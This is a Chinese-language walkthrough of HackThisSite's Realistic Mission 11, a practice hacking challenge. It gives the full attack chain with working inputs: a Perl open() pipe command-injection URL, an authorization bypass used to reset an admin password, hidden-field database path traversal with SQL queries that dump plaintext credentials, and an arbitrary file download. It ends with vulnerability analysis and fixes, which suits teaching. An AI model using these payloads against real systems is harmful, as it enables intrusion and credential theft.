HackThisSite - Realistic Mission 11

Challenge

Recover src.tar.gz from the suspended space46 BudgetSERV account.

Solution

1. Perl 命令注入列目录

主站的 page.pl 会读取 pages/<page>。对不存在的页面可观察到:

1
open(file, "pages/x") failed: No such file or directory

Perl 的 open() 允许把管道形式当作命令执行。使用 URL 编码的 |ls|

1
/missions/realistic/11/page.pl?page=%7Cls%7C

结果包含 bs.dbaseadmin/client_http_docs/。其中 client_http_docs/ 可列出 space46/wonderdiet/potatoworks/therightwayradio/

2. 越权修改客户站点的管理员账户

打开:

1
/client_http_docs/therightwayradio/?page=userinfo&id=0

id=0 显示账户 aclu_bomber_08290,且页面错误地显示了编辑表单。向该表单提交 pass=password 后,响应返回 Profile updated

使用以下凭据登录客户站点:

1
aclu_bomber_08290 / password

登录后可以看到 mod 链接。

3. 篡改 SQLite 数据库路径

Mod Panel 的表单有一个可编辑的隐藏字段:

1
<input type="hidden" name="sql_db" value="rwr.dbase">

改成任务根目录的相对路径,并查询 SQLite 元数据:

1
2
sql_db:    ../../../bs.dbase
sql_query: SELECT * FROM sqlite_master

结果显示 web_hosting 表,随后执行:

1
SELECT web_user, web_pass FROM web_hosting

得到任务账户凭据:

1
2
3
space46           notofthisworld
therightwayradio letgodsortitout
wonderdiet suckereveryminute

4. 下载被暂停账户的备份

/admin/ 使用未暂停账户登录,例如:

1
therightwayradio / letgodsortitout

下载脚本是 admin/d.pl。将 file 参数改成 space46 账户的备份绝对路径:

1
/admin/d.pl?file=/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz

服务器返回任务检查跳转 levelup.php?check=...,访问该检查地址后任务完成,并在账号页面记录为 Realistic 11。

漏洞分析

  • Perl open() 的管道行为导致命令注入(CWE-78)。
  • id=0 编辑功能缺少对象级授权检查。
  • 数据库文件路径由客户端 hidden input 控制。
  • 客户密码以明文保存。
  • 下载器信任绝对路径,造成任意文件读取/路径穿越。

修复应使用安全文件 API、服务端授权检查、固定数据库连接、Argon2id/bcrypt/scrypt 密码哈希,以及基于文件 ID 的下载白名单。